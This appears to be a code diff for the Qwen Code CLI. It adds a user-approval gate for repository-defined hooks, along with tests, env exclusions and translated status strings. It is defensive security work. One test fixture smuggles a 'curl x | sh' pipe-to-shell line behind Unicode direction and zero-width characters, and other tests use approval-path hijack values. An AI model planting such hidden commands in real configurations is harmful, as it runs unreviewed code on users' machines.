expect(getProjectHooksHeadlessWarning('pending')).toContain(
'Run qwen interactively',
);
const rejected = getProjectHooksHeadlessWarning('rejected');
expect(rejected).toContain('rejected');
expect(rejected).toContain(HOOK_APPROVALS_FILENAME);
expect(rejected).not.toContain('Run qwen interactively');
});
});
describe('summarizeProjectHooks', () => {
it('lists every hook with what decides where it runs and what it sends', () => {
expect(
summarizeProjectHooks({
PreToolUse: [
{
matcher: 'Bash',
hooks: [
{
type: 'command',
command: 'lint.sh',
env: { LD_PRELOAD: 'x' },
shell: 'bash',
async: true,
},
{
type: 'http',
url: 'https://hooks.test/pre',
headers: { 'X-T': '${GITHUB_TOKEN}' },
allowedEnvVars: ['GITHUB_TOKEN'],
},
],
},
],
Stop: [
{
hooks: [
{ type: 'prompt', prompt: 'Review' },
{ type: 'prompt', prompt: 'Bill', model: 'qwen3-max' },
],
},
],
bogus: 'not an array',
}),
).toEqual([
'PreToolUse lint.sh [env: LD_PRELOAD=x; shell: bash; async; matcher: Bash]',
'PreToolUse http https://hooks.test/pre [headers: X-T; allowedEnvVars: GITHUB_TOKEN; matcher: Bash]',
'Stop prompt "Review"',
'Stop prompt "Bill" [model: qwen3-max]',
]);
});
it('words each row as written, never with resolved env values', () => {
const hook = (command: string, auth: string) => ({
Stop: [
{
matcher: auth,
hooks: [{ type: 'command', command, env: { AUTH: auth } }],
},
],
});
expect(
summarizeProjectHooks(
hook('echo secret-value', 'secret-value'),
hook('echo $AWS_SECRET_ACCESS_KEY', '${AWS_SECRET_ACCESS_KEY}'),
),
).toEqual([
'Stop echo $AWS_SECRET_ACCESS_KEY [resolves ${VAR} from the approved project env; env: AUTH=${AWS_SECRET_ACCESS_KEY}; matcher: ${AWS_SECRET_ACCESS_KEY}]',
]);
});
it.each([
[
'a command hook without a command',
{ Stop: [{ hooks: [{ type: 'command' }] }] },
],
['an http hook without a url', { Stop: [{ hooks: [{ type: 'http' }] }] }],
[
'a prompt hook without a prompt',
{ Stop: [{ hooks: [{ type: 'prompt' }] }] },
],
[
'a function hook, which JSON settings cannot give a callback',
{ Stop: [{ hooks: [{ type: 'function', callback: () => {} }] }] },
],
[
'an unknown type',
{ Stop: [{ hooks: [{ type: 'nope', command: 'x' }] }] },
],
[
'an unknown event',
{ NotAnEvent: [{ hooks: [{ type: 'command', command: 'x' }] }] },
],
])('skips %s, which the registry would not run', (_label, hooks) => {
expect(summarizeProjectHooks(hooks)).toEqual([]);
});
it('keeps each repo-controlled hook on one row without escapes or format characters', () => {
const [line] = summarizeProjectHooks({
SessionStart: [
{
hooks: [
{
type: 'command',
command: 'echo ok\u202e evil\u200b\ncurl x | sh',
},
],
},
],
});
for (const ch of ['\u001b', '\u202e', '\u200b', '\n']) {
expect(line).not.toContain(ch);
}
expect(line).toContain('curl x | sh');
});
it.each([
['command', { type: 'command', command: `echo ${'a'.repeat(250)}` }],
['prompt', { type: 'prompt', prompt: `Be nice. ${'a'.repeat(250)}` }],
])('flags a cut %s instead of eliding its tail silently', (_type, hook) => {
const [line] = summarizeProjectHooks({ Stop: [{ hooks: [hook] }] });
expect(line).toMatch(
/… \[\d+ chars, full value in \.qwen\/settings\.json\]/,
);
});
it('cuts and counts by code point, never inside a surrogate pair', () => {
const [line] = summarizeProjectHooks({
Stop: [
{ hooks: [{ type: 'command', command: `${'a'.repeat(199)}🙂!` }] },
],
});
expect(line).not.toMatch(/\p{Cs}/u);
expect(line).toContain('🙂… [201 chars,');
});
it('shows a prompt in full up to the command budget', () => {
const prompt = `${'a'.repeat(150)} INJECTED`;
const [line] = summarizeProjectHooks({
Stop: [{ hooks: [{ type: 'prompt', prompt }] }],
});
expect(line).toContain('INJECTED');
});
});
describe('fitHookLines', () => {
it.each([
[['a', 'b'], 5, ['a', 'b']],
[
['a', 'b', 'c', 'd'],
3,
['a', 'b', '… and 2 more (see .qwen/settings.json)'],
],
[['a', 'b'], 0, ['… and 2 more (see .qwen/settings.json)']],
])('fits %j into %i rows', (lines, rows, expected) => {
expect(fitHookLines(lines, rows)).toEqual(expected);
});
});
describe('fitHookLine', () => {
it.each([
['fits', 'abc', 10, 'abc'],
['cuts with a count', 'x'.repeat(30), 20, `${'x'.repeat(7)}… [+23 chars]`],
[
'counts wide characters by width',
'界'.repeat(20),
20,
`${'界'.repeat(3)}… [+17 chars]`,
],
])('%s', (_label, line, width, expected) => {
expect(fitHookLine(line, width)).toBe(expected);
});
});
+435
View File
@@ -0,0 +1,435 @@
/**
* @license
* Copyright 2026 Qwen Team
* SPDX-License-Identifier: Apache-2.0
*/
import * as crypto from 'node:crypto';
import * as fs from 'node:fs';
import * as path from 'node:path';
import { Storage } from '@qwen-code/qwen-code-core/config/storage.js';
import { HookEventName } from '@qwen-code/qwen-code-core/hooks/types.js';
import { atomicWriteFile } from '@qwen-code/qwen-code-core/utils/atomicFileWrite.js';
import { getErrorMessage } from '@qwen-code/qwen-code-core/utils/errors.js';
import stripJsonComments from 'strip-json-comments';
import { normalizeProjectRoot } from './approval-project-root.js';
import { readProjectEnvFiles } from './environment.js';
import type { Settings } from './settingsSchema.js';
import {
clipToWidth,
cpLen,
cpSlice,
getCachedStringWidth,
sanitizeTerminalLine,
} from '../ui/utils/textUtils.js';
import { writeStderrLine } from '../utils/stdioHelpers.js';
export const HOOK_APPROVALS_FILENAME = 'hookApprovals.json';
export type HookApprovalStatus = 'approved' | 'rejected';
export type HookApprovalState = HookApprovalStatus | 'pending';
/**
* The user's persisted decision for the `hooks` block of a workspace
* `.qwen/settings.json`. Like an MCP approval it is bound to the hash of the
* exact configuration reviewed, and of the env sources the workspace controls:
* any change to either returns the block to `pending`.
*/
export interface HookApprovalRecord {
hash: string;
status: HookApprovalStatus;
}
/** `{ [projectRoot]: record }` — user-local, one decision per project. */
export type HookApprovalsConfig = Record<string, HookApprovalRecord>;
/** What one approval decision covers. */
export interface ProjectHooksApproval {
/** The project whose `.qwen/settings.json` the hooks come from. */
root: string;
/**
* The block before `${VAR}` resolution: startup and `/hooks` resolve
* against different environments, so only this text hashes the same.
*/
hooks: Record<string, unknown>;
/** The resolved block: what the registry runs, so what the gate counts. */
resolved: Record<string, unknown>;
/**
* The env the workspace supplies: its `.env` files and `settings.env`. A
* hook, or a script it starts, can read any of it, so a change there can
* change what runs without touching the block.
*/
env: { files: Record<string, unknown>; settings: unknown };
}
export function getHookApprovalsPath(): string {
if (process.env['QWEN_CODE_HOOK_APPROVALS_PATH']) {
return process.env['QWEN_CODE_HOOK_APPROVALS_PATH'];
}
return path.join(Storage.getGlobalQwenDir(), HOOK_APPROVALS_FILENAME);
}
/** The project whose `.qwen/settings.json` the loaded workspace hooks come from. */
export function getProjectHooksRoot(settings: {
workspace: { path: string };
}): string {
return path.dirname(path.dirname(settings.workspace.path));
}
/** The workspace hooks the gate covers, or `undefined` when none would run. */
export function getProjectHooksForApproval(settings: {
merged: Settings;
getProjectHooks(): Record<string, unknown> | undefined;
workspace: {
path: string;
originalSettings: { hooks?: unknown; env?: unknown };
};
}): ProjectHooksApproval | undefined {
// Already withheld in an untrusted folder.
const resolved = settings.getProjectHooks();
if (!isRecord(resolved) || summarizeProjectHooks(resolved).length === 0) {
return undefined;
}
const hooks = settings.workspace.originalSettings.hooks;
if (!isRecord(hooks)) return undefined;
const root = getProjectHooksRoot(settings);
return {
root,
hooks,
resolved,
env: {
files: readProjectEnvFiles(settings.merged, root),
settings: settings.workspace.originalSettings.env ?? null,
},
};
}
/** The separated hook scopes `loadCliConfig` takes, with the block it gates. */
export function getSeparatedHookSettings(
settings: Parameters<typeof getProjectHooksForApproval>[0] & {
getSystemHooks(): Record<string, unknown> | undefined;
getUserHooks(): Record<string, unknown> | undefined;
},
) {
// A copy: the hook registry tags loaded definitions in place, and an ACP
// daemon reuses one settings instance.
const projectHooks = structuredClone(settings.getProjectHooks());
const projectHooksApproval = getProjectHooksForApproval(settings);
return {
systemHooks: settings.getSystemHooks(),
userHooks: settings.getUserHooks(),
projectHooks,
...(projectHooksApproval ? { projectHooksApproval } : {}),
};
}
/**
* Sorted-key canonical hash so key order in the file does not matter. Null
* prototypes keep an own `__proto__` key in the hashed output.
*/
export function hashProjectHooks(
approval: Pick<ProjectHooksApproval, 'hooks' | 'env'>,
): string {
const stable = JSON.stringify(
{ hooks: approval.hooks, env: approval.env },
(_key, value) => {
if (value && typeof value === 'object' && !Array.isArray(value)) {
const obj = value as Record<string, unknown>;
const sorted: Record<string, unknown> = Object.create(null);
for (const k of Object.keys(obj).sort()) {
sorted[k] = obj[k];
}
return sorted;
}
return value;
},
);
return crypto.createHash('sha256').update(stable).digest('hex');
}
function isRecord(value: unknown): value is Record<string, unknown> {
return typeof value === 'object' && value !== null && !Array.isArray(value);
}
/**
* Repo-controlled text for the dialog: one row, no escapes or format
* characters, and a cut that says so — the elided tail may be the payload.
*/
function displayText(value: unknown, max = 200): string {
const text = sanitizeTerminalLine(String(value ?? '')).replace(
/\p{Cf}/gu,
'',
);
const length = cpLen(text);
return length > max
? `${cpSlice(text, 0, max)}… [${length} chars, full value in .qwen/settings.json]`
: text;
}
/** `KEY=value` pairs: a command's env can rewrite what runs (`NODE_OPTIONS`, `${VAR}`). */
function envList(value: unknown): string | undefined {
if (!isRecord(value)) return keyList(value);
return Object.entries(value)
.map(([k, v]) => `${displayText(k)}=${displayText(v, 80)}`)
.join(', ');
}
function keyList(value: unknown): string | undefined {
if (Array.isArray(value)) return value.map((v) => displayText(v)).join(', ');
if (isRecord(value))
return Object.keys(value)
.map((k) => displayText(k))
.join(', ');
return undefined;
}
/**
* `hook` is the resolved entry, which decides what runs; the text shown is
* `raw`'s, as written, so resolved env values never reach the screen.
*/
function describeHook(
hook: Record<string, unknown>,
raw: Record<string, unknown>,
matcher: unknown,
): string {
const details: string[] = [];
const add = (label: string, value: string | undefined) => {
if (value) details.push(`${label}: ${value}`);
};
let head: string;
switch (hook['type']) {
case 'command':
head = displayText(raw['command']);
// The approval hash binds the project env, but the row shows the
// unresolved text; say so when a variable decides what actually runs.
if (
typeof raw['command'] === 'string' &&
/\$\{?\w/.test(raw['command'])
) {
details.push('resolves ${VAR} from the approved project env');
}
add('env', envList(raw['env']));
if (raw['shell']) add('shell', displayText(raw['shell']));
if (hook['async'] === true) details.push('async');
break;
case 'http':
head = `http ${displayText(raw['url'])}`;
add('headers', keyList(raw['headers']));
add('allowedEnvVars', keyList(raw['allowedEnvVars']));
break;
default:
head = `prompt "${displayText(raw['prompt'])}"`;
if (raw['model']) add('model', displayText(raw['model'], 80));
}
if (raw['type'] !== hook['type']) add('type', displayText(raw['type']));
// Last, so a long matcher cannot push what runs off the row.
if (matcher) add('matcher', displayText(matcher, 80));
return details.length > 0 ? `${head} [${details.join('; ')}]` : head;
}
const HOOK_EVENTS = new Set<string>(Object.values(HookEventName));
// `function` hooks are absent: JSON settings cannot carry their callback.
const REQUIRED_FIELD: Record<string, string> = {
command: 'command',
http: 'url',
prompt: 'prompt',
};
/** Mirrors the registry's checks: anything it would skip never runs. */
function isRunnableHook(hook: unknown): hook is Record<string, unknown> {
if (!isRecord(hook) || typeof hook['type'] !== 'string') return false;
const field = REQUIRED_FIELD[hook['type']];
return field !== undefined && Boolean(hook[field]);
}
function entry(value: unknown, key: string | number): unknown {
if (Array.isArray(value) && typeof key === 'number') return value[key];
return isRecord(value) ? value[key] : undefined;
}
/**
* One display line per hook the registry would run in `resolved`, worded
* from the matching entry of `raw` (the unresolved block) where it has one.
* A block with no such line declares nothing executable and is not gated.
*/
export function summarizeProjectHooks(
resolved: Record<string, unknown>,
raw: Record<string, unknown> = resolved,
): string[] {
const lines: string[] = [];
for (const [event, definitions] of Object.entries(resolved)) {
if (!HOOK_EVENTS.has(event) || !Array.isArray(definitions)) continue;
definitions.forEach((definition, i) => {
if (!isRecord(definition) || !Array.isArray(definition['hooks'])) return;
const rawDefinition = entry(entry(raw, event), i);
definition['hooks'].forEach((hook, j) => {
if (!isRunnableHook(hook)) return;
const rawHook = entry(entry(rawDefinition, 'hooks'), j);
const rawMatcher = entry(rawDefinition, 'matcher');
lines.push(
`${displayText(event, 24)} ${describeHook(
hook,
isRecord(rawHook) ? rawHook : hook,
rawMatcher ?? definition['matcher'],
)}`,
);
});
});
}
return lines;
}
/**
* The hook lines that fit in `maxRows`, the last row naming how many were
* left out, so the options below the list always stay on screen.
*/
export function fitHookLines(
lines: readonly string[],
maxRows: number,
): readonly string[] {
const rows = Math.max(1, Math.floor(maxRows));
if (lines.length <= rows) return lines;
const shown = Math.max(0, rows - 1);
return [
...lines.slice(0, shown),
`… and ${lines.length - shown} more (see .qwen/settings.json)`,
];
}
/** `line` cut to `width` columns with a marker, so a clipped row never looks whole. */
export function fitHookLine(line: string, width: number): string {
if (getCachedStringWidth(line) <= width) return line;
const total = cpLen(line);
const marker = `… [+${total} chars]`;
const kept = clipToWidth(line, width - getCachedStringWidth(marker));
return `${kept}… [+${total - cpLen(kept)} chars]`;
}
export class LoadedHookApprovals {
constructor(
readonly file: { readonly path: string; config: HookApprovalsConfig },
readonly errors: Array<{ message: string; path: string }>,
) {}
getState(approval: ProjectHooksApproval): HookApprovalState {
const record: unknown =
this.file.config[normalizeProjectRoot(approval.root)];
if (!isRecord(record) || record['hash'] !== hashProjectHooks(approval)) {
return 'pending';
}
const status = record['status'];
return status === 'approved' || status === 'rejected' ? status : 'pending';
}
/**
* Re-reads the file and replaces only this project's record, so decisions
* another process wrote meanwhile survive. Throws when the file cannot be
* read or written rather than overwrite it or report a decision unsaved.
*/
async setState(
approval: ProjectHooksApproval,
status: HookApprovalStatus,
): Promise<void> {
const { config, errors } = readHookApprovals(this.file.path);
if (errors.length > 0) {
throw new Error(`${errors[0].message} (${this.file.path})`);
}
Object.defineProperty(config, normalizeProjectRoot(approval.root), {
value: { hash: hashProjectHooks(approval), status },
enumerable: true,
configurable: true,
writable: true,
});
fs.mkdirSync(path.dirname(this.file.path), { recursive: true });
await atomicWriteFile(this.file.path, JSON.stringify(config, null, 2), {
mode: 0o600,
forceMode: true,
});
this.file.config = config;
}
}
const warnedErrors = new Set<string>();
/** FOR TESTING ONLY. Forgets which file errors were already reported. */
export function resetHookApprovalsForTesting(): void {
warnedErrors.clear();
}
function readHookApprovals(filePath: string): {
config: HookApprovalsConfig;
errors: Array<{ message: string; path: string }>;
} {
const errors: Array<{ message: string; path: string }> = [];
let config: HookApprovalsConfig = Object.create(null);
try {
if (fs.existsSync(filePath)) {
const parsed: unknown = JSON.parse(
stripJsonComments(fs.readFileSync(filePath, 'utf-8')),
);
if (isRecord(parsed)) {
config = Object.assign(Object.create(null), parsed);
} else {
errors.push({
message: 'Hook approvals file is not a valid JSON object.',
path: filePath,
});
}
}
} catch (error: unknown) {
errors.push({ message: getErrorMessage(error), path: filePath });
}
return { config, errors };
}
/**
* Read fresh on every call: the file is small, and a long-lived process (an
* ACP daemon) must see decisions made in another session.
*/
export function loadHookApprovals(): LoadedHookApprovals {
const filePath = getHookApprovalsPath();
const { config, errors } = readHookApprovals(filePath);
for (const error of errors) {
if (warnedErrors.has(error.message)) continue;
warnedErrors.add(error.message);
writeStderrLine(`Warning: hook approvals file error: ${error.message}`);
}
return new LoadedHookApprovals({ path: filePath, config }, errors);
}
/**
* Live approval state of a workspace's project hooks, or `undefined` when the
* workspace declares nothing runnable. A repository can ship arbitrary
* commands in its `.qwen/settings.json` hooks, so — like a project MCP
* server — they run only after the user has approved this exact
* configuration.
*/
export function getProjectHooksApprovalState(
approval: ProjectHooksApproval | undefined,
): HookApprovalState | undefined {
return approval ? loadHookApprovals().getState(approval) : undefined;
}
/** Sets the session's gate from the stored decision and returns it. */
export function applyProjectHooksApproval(
config: {
setProjectHooksPendingApproval(pending: boolean, rejected?: boolean): void;
},
approval: ProjectHooksApproval | undefined,
): HookApprovalState | undefined {
const state = getProjectHooksApprovalState(approval);
config.setProjectHooksPendingApproval(
state !== undefined && state !== 'approved',
state === 'rejected',
);
return state;
}
/** The stderr line a headless run prints for withheld project hooks. */
export function getProjectHooksHeadlessWarning(
state: HookApprovalState | undefined,
): string {
return state === 'rejected'
? `Project hooks in .qwen/settings.json were not loaded: they were rejected for this folder and are not asked about again until they change (decisions are kept in ${getHookApprovalsPath()}).`
: 'Project hooks in .qwen/settings.json were not loaded: they are not approved for this folder. Run qwen interactively here to review them.';
}
+1 -14
View File
@@ -16,6 +16,7 @@ import {
type MCPServerConfig,
} from '@qwen-code/qwen-code-core';
import stripJsonComments from 'strip-json-comments';
import { normalizeProjectRoot } from './approval-project-root.js';
import { writeStderrLine } from '../utils/stdioHelpers.js';
export const MCP_APPROVALS_FILENAME = 'mcpApprovals.json';
@@ -55,20 +56,6 @@ export function getMcpApprovalsPath(): string {
return path.join(Storage.getGlobalQwenDir(), MCP_APPROVALS_FILENAME);
}
/**
* Keys are stored normalized so the same project resolves consistently. On
* Windows, paths are case-insensitive but the entry points that produce a
* project root disagree on casing: the CLI keeps `process.cwd()` as typed
* (`D:\project`) while IDE integrations hand over VS Code's
* `workspaceFolders[0].uri.fsPath`, which lowercases the drive letter
* (`d:\project`). Fold case on win32 — same convention as
* `getProjectHash()`/`sanitizeCwd()`. See issue #9775.
*/
function normalizeProjectRoot(projectRoot: string): string {
const resolved = path.resolve(projectRoot);
return os.platform() === 'win32' ? resolved.toLowerCase() : resolved;
}
function isApprovalRecordMap(
value: unknown,
): value is Record<string, McpApprovalRecord> {
+3
View File
@@ -6509,6 +6509,7 @@ describe('Settings Loading and Merging', () => {
delete process.env['QWEN_HOME'];
delete process.env['QWEN_RUNTIME_DIR'];
delete process.env['QWEN_CODE_MCP_APPROVALS_PATH'];
delete process.env['QWEN_CODE_HOOK_APPROVALS_PATH'];
delete process.env['QWEN_CODE_TRUSTED_FOLDERS_PATH'];
delete process.env['QWEN_CODE_WARNINGS_FILE'];
@@ -6532,6 +6533,7 @@ describe('Settings Loading and Merging', () => {
'QWEN_HOME=/tmp/hijack',
'QWEN_RUNTIME_DIR=/tmp/hijack-runtime',
'QWEN_CODE_MCP_APPROVALS_PATH=/tmp/preapproved.json',
'QWEN_CODE_HOOK_APPROVALS_PATH=/tmp/hooks-approved.json',
'QWEN_CODE_TRUSTED_FOLDERS_PATH=/tmp/trusted.json',
'QWEN_CODE_WARNINGS_FILE=/tmp/sensitive.txt',
'OTHER_VAR=ok',
@@ -6546,6 +6548,7 @@ describe('Settings Loading and Merging', () => {
expect(process.env['QWEN_HOME']).toBeUndefined();
expect(process.env['QWEN_RUNTIME_DIR']).toBeUndefined();
expect(process.env['QWEN_CODE_MCP_APPROVALS_PATH']).toBeUndefined();
expect(process.env['QWEN_CODE_HOOK_APPROVALS_PATH']).toBeUndefined();
expect(process.env['QWEN_CODE_TRUSTED_FOLDERS_PATH']).toBeUndefined();
expect(process.env['QWEN_CODE_WARNINGS_FILE']).toBeUndefined();
// Other vars from the same project .env still load.
@@ -37,6 +37,7 @@ export const PROJECT_ENV_HARDCODED_EXCLUSIONS = [
// Project reloads must not replace or relabel an operator container requirement.
'QWEN_AGENT_EXECUTION_BACKEND',
'QWEN_CODE_MCP_APPROVALS_PATH',
'QWEN_CODE_HOOK_APPROVALS_PATH',
'QWEN_CODE_TRUSTED_FOLDERS_PATH',
// These two select which file becomes the System / SystemDefaults settings
// layer. A project `.env` must never redirect them: the System layer
+2
View File
@@ -441,6 +441,8 @@ export default {
'disabled (bare mode)': 'desactivada (mode mínim)',
'disabled (safe mode)': 'desactivada (mode segur)',
'disabled (disableAllHooks)': 'desactivada (disableAllHooks)',
'disabled (not approved)': 'desactivada (no aprovada)',
'disabled (rejected)': 'desactivada (rebutjada)',
'disabled (folder not trusted)': 'desactivada (carpeta no fiable)',
'disabled (turned off for this session)':
'desactivada (apagada en aquesta sessió)',
+2
View File
@@ -1147,6 +1147,8 @@ export default {
'disabled (bare mode)': 'deaktiviert (Bare-Modus)',
'disabled (safe mode)': 'deaktiviert (Sicherheitsmodus)',
'disabled (disableAllHooks)': 'deaktiviert (disableAllHooks)',
'disabled (not approved)': 'deaktiviert (nicht freigegeben)',
'disabled (rejected)': 'deaktiviert (abgelehnt)',
'disabled (folder not trusted)':
'deaktiviert (Ordner nicht vertrauenswürdig)',
'disabled (turned off for this session)':
+2
View File
@@ -727,6 +727,8 @@ export default {
'disabled (bare mode)': 'disabled (bare mode)',
'disabled (safe mode)': 'disabled (safe mode)',
'disabled (disableAllHooks)': 'disabled (disableAllHooks)',
'disabled (not approved)': 'disabled (not approved)',
'disabled (rejected)': 'disabled (rejected)',
'disabled (folder not trusted)': 'disabled (folder not trusted)',
'disabled (turned off for this session)':
'disabled (turned off for this session)',
+2
View File
@@ -448,6 +448,8 @@ export default {
'disabled (bare mode)': 'désactivé (mode minimal)',
'disabled (safe mode)': 'désactivé (mode sécurisé)',
'disabled (disableAllHooks)': 'désactivé (disableAllHooks)',
'disabled (not approved)': 'désactivé (non approuvé)',
'disabled (rejected)': 'désactivé (refusé)',
'disabled (folder not trusted)': 'désactivé (dossier non approuvé)',
'disabled (turned off for this session)':
'désactivé (désactivé pour cette session)',
+2
View File
@@ -892,6 +892,8 @@ export default {
'disabled (bare mode)': '無効(ベアモード)',
'disabled (safe mode)': '無効(セーフモード)',
'disabled (disableAllHooks)': '無効(disableAllHooks)',
'disabled (not approved)': '無効(未承認)',
'disabled (rejected)': '無効(拒否済み)',
'disabled (folder not trusted)': '無効(フォルダーが信頼されていません)',
'disabled (turned off for this session)': '無効(このセッションでオフ)',
'Server:': 'サーバー:',
+2
View File
@@ -1149,6 +1149,8 @@ export default {
'disabled (bare mode)': 'desativado (modo mínimo)',
'disabled (safe mode)': 'desativado (modo seguro)',
'disabled (disableAllHooks)': 'desativado (disableAllHooks)',
'disabled (not approved)': 'desativado (não aprovado)',
'disabled (rejected)': 'desativado (rejeitado)',
'disabled (folder not trusted)': 'desativado (pasta não confiável)',
'disabled (turned off for this session)':
'desativado (desligado nesta sessão)',
+2
View File
@@ -1137,6 +1137,8 @@ export default {
'disabled (bare mode)': 'отключен (минимальный режим)',
'disabled (safe mode)': 'отключен (безопасный режим)',
'disabled (disableAllHooks)': 'отключен (disableAllHooks)',
'disabled (not approved)': 'отключен (не одобрен)',
'disabled (rejected)': 'отключен (отклонён)',
'disabled (folder not trusted)': 'отключен (папка не доверенная)',
'disabled (turned off for this session)': 'отключен (выключен в этой сессии)',
'Server:': 'Сервер:',
+2
View File
@@ -666,6 +666,8 @@ export default {
'disabled (bare mode)': '已禁用(精簡模式)',
'disabled (safe mode)': '已禁用(安全模式)',
'disabled (disableAllHooks)': '已禁用(disableAllHooks)',
'disabled (not approved)': '已禁用(未核准)',
'disabled (rejected)': '已禁用(已拒絕)',
'disabled (folder not trusted)': '已禁用(資料夾未受信任)',
'disabled (turned off for this session)': '已禁用(本工作階段中已關閉)',
'View Details': '查看詳情',
+2
View File
@@ -1392,6 +1392,8 @@ export default {
'disabled (bare mode)': '已禁用(精简模式)',
'disabled (safe mode)': '已禁用(安全模式)',
'disabled (disableAllHooks)': '已禁用(disableAllHooks)',
'disabled (not approved)': '已禁用(未批准)',
'disabled (rejected)': '已禁用(已拒绝)',
'disabled (folder not trusted)': '已禁用(文件夹未受信任)',
'disabled (turned off for this session)': '已禁用(本会话中已关闭)',
'Server:': '服务器:',
+150
View File
@@ -174,6 +174,7 @@ vi.mock('./config/config.js', () => ({
getSandbox: vi.fn(() => false),
getQuestion: vi.fn(() => ''),
isInteractive: () => false,
isProjectHooksPendingApproval: () => false,
isLspEnabled: () => false,
getLspClient: () => undefined,
getWarnings: vi.fn(() => []),
@@ -572,6 +573,7 @@ describe('llm.tsx main function', () => {
callOrder.push('loadCliConfig');
return {
isInteractive: () => false,
isProjectHooksPendingApproval: () => false,
getQuestion: () => '',
getSandbox: () => false,
getApprovalMode: () => ApprovalMode.DEFAULT,
@@ -684,6 +686,7 @@ describe('llm.tsx main function', () => {
).toBeUndefined();
return {
isInteractive: () => false,
isProjectHooksPendingApproval: () => false,
getQuestion: () => '',
getSandbox: () => false,
getApprovalMode: () => ApprovalMode.DEFAULT,
@@ -775,6 +778,7 @@ describe('llm.tsx main function', () => {
async () =>
({
isInteractive: () => false,
isProjectHooksPendingApproval: () => false,
getQuestion: () => '',
getSandbox: () => false,
getApprovalMode: () => ApprovalMode.DEFAULT,
@@ -892,6 +896,7 @@ describe('llm.tsx main function', () => {
async () =>
({
isInteractive: () => false,
isProjectHooksPendingApproval: () => false,
getQuestion: () => '',
getSandbox: () => false,
getApprovalMode: () => ApprovalMode.DEFAULT,
@@ -996,6 +1001,7 @@ describe('llm.tsx main function', () => {
async () =>
({
isInteractive: () => false,
isProjectHooksPendingApproval: () => false,
getQuestion: () => '',
getSandbox: () => false,
getApprovalMode: () => ApprovalMode.DEFAULT,
@@ -1850,6 +1856,7 @@ describe('llm.tsx main function', () => {
};
const configStub = {
isInteractive: () => false,
isProjectHooksPendingApproval: () => false,
getQuestion: () => 'bare prompt',
getSandbox: () => false,
getApprovalMode: () => ApprovalMode.DEFAULT,
@@ -1910,6 +1917,8 @@ describe('llm.tsx main function', () => {
undefined,
{ workflowAncestorTrustProvider: expect.any(Function) },
expect.any(Function),
// projectHooksApprovalProvider: live settings for the YOLO-exit re-gate
expect.any(Function),
);
});
@@ -2147,6 +2156,7 @@ describe('llm.tsx main function', () => {
let initialized = false;
const configStub = {
isInteractive: () => false,
isProjectHooksPendingApproval: () => false,
getQuestion: () => 'hello',
getSandbox: () => false,
getApprovalMode: () => ApprovalMode.DEFAULT,
@@ -2267,6 +2277,144 @@ describe('llm.tsx main function', () => {
);
});
it.each([
['pending', true, 'Run qwen interactively'],
['rejected', true, 'not asked about again'],
['approved', false, undefined],
] as const)(
'warns on stderr only when project hooks were withheld (%s)',
async (state, pending, expected) => {
const dir = mkdtempSync(join(tmpdir(), 'llm-hooks-gate-'));
const root = join(dir, 'repo');
const hooks = {
SessionStart: [{ hooks: [{ type: 'command', command: './x.sh' }] }],
};
vi.stubEnv('QWEN_CODE_NO_RELAUNCH', 'true');
vi.stubEnv('QWEN_CODE_HOOK_APPROVALS_PATH', join(dir, 'approvals.json'));
const {
getProjectHooksForApproval,
loadHookApprovals,
resetHookApprovalsForTesting,
} = await import('./config/hook-approvals.js');
resetHookApprovalsForTesting();
const settings = {
errors: [],
merged: { advanced: {}, security: { auth: {} }, ui: {} },
setValue: vi.fn(),
forScope: () => ({ settings: {}, originalSettings: {}, path: '' }),
migrationWarnings: [],
getSystemHooks: () => undefined,
getUserHooks: () => undefined,
getProjectHooks: () => hooks,
user: { originalSettings: {} },
workspace: {
path: join(root, '.qwen', 'settings.json'),
originalSettings: { hooks },
},
};
if (state !== 'pending') {
await loadHookApprovals().setState(
getProjectHooksForApproval(settings as never)!,
state,
);
}
const originalIsTTY = Object.getOwnPropertyDescriptor(
process.stdin,
'isTTY',
);
Object.defineProperty(process.stdin, 'isTTY', {
value: true,
configurable: true,
});
const processExitSpy = vi
.spyOn(process, 'exit')
.mockImplementation((code) => {
throw new MockProcessExitError(code);
});
const { loadCliConfig, parseArguments } = await import(
'./config/config.js'
);
const { loadSettings } = await import('./config/settings.js');
const validatorModule = await import('./validateNonInterActiveAuth.js');
const nonInteractiveModule = await import('./nonInteractiveCli.js');
const initializerModule = await import('./core/initializer.js');
mockWriteStderrLine.mockClear();
vi.spyOn(initializerModule, 'initializeApp').mockResolvedValue({
authError: null,
themeError: null,
shouldOpenAuthDialog: false,
memoryFileCount: 0,
});
const runNonInteractiveSpy = vi
.spyOn(nonInteractiveModule, 'runNonInteractive')
.mockResolvedValue(0);
const configStub = {
isInteractive: () => false,
isProjectHooksPendingApproval: () => pending,
getQuestion: () => 'hello',
getSandbox: () => false,
getApprovalMode: () => ApprovalMode.DEFAULT,
getDebugMode: () => false,
getListExtensions: () => false,
getMcpServers: () => ({}),
getTopTierMcpServers: () => undefined,
getModelProvidersConfig: () => undefined,
initialize: vi.fn(),
waitForMcpReady: vi.fn().mockResolvedValue(undefined),
getFailedMcpServerNames: () => [],
getIdeMode: () => false,
getExperimentalZedIntegration: () => false,
getScreenReader: () => false,
getMemoryFileCount: () => 0,
getProjectRoot: () => '/',
getOutputFormat: () => OutputFormat.TEXT,
getWarnings: () => [],
isSafeMode: () => false,
getModelsConfig: () => ({ getCurrentAuthType: () => null }),
getContentGeneratorConfig: () => undefined,
getUsageStatisticsEnabled: () => true,
getSessionId: () => 'test-session-id',
getProxy: () => undefined,
} as unknown as Config;
vi.mocked(parseArguments).mockResolvedValue({
extensions: [],
} as unknown as CliArgs);
vi.mocked(loadSettings).mockReturnValue(settings as never);
vi.mocked(loadCliConfig).mockResolvedValue(configStub);
vi.spyOn(validatorModule, 'validateNonInteractiveAuth').mockResolvedValue(
configStub,
);
try {
await main();
} catch (error) {
if (!(error instanceof MockProcessExitError)) throw error;
} finally {
processExitSpy.mockRestore();
if (originalIsTTY) {
Object.defineProperty(process.stdin, 'isTTY', originalIsTTY);
} else {
delete (process.stdin as { isTTY?: unknown }).isTTY;
}
vi.unstubAllEnvs();
resetHookApprovalsForTesting();
rmSync(dir, { recursive: true, force: true });
}
if (expected) {
expect(mockWriteStderrLine).toHaveBeenCalledWith(
expect.stringContaining(expected),
);
} else {
expect(mockWriteStderrLine).not.toHaveBeenCalledWith(
expect.stringContaining('.qwen/settings.json were not loaded'),
);
}
// Warn and continue: the prompt still runs, only the hooks are withheld.
expect(runNonInteractiveSpy).toHaveBeenCalledTimes(1);
},
);
it('creates non-interactive prompt ids that preserve session correlation', () => {
expect(createNonInteractivePromptId('test-session-id')).toBe(
'test-session-id########0',
@@ -2393,6 +2541,7 @@ describe('llm.tsx main function', () => {
const configStub = {
isInteractive: () => false,
isProjectHooksPendingApproval: () => false,
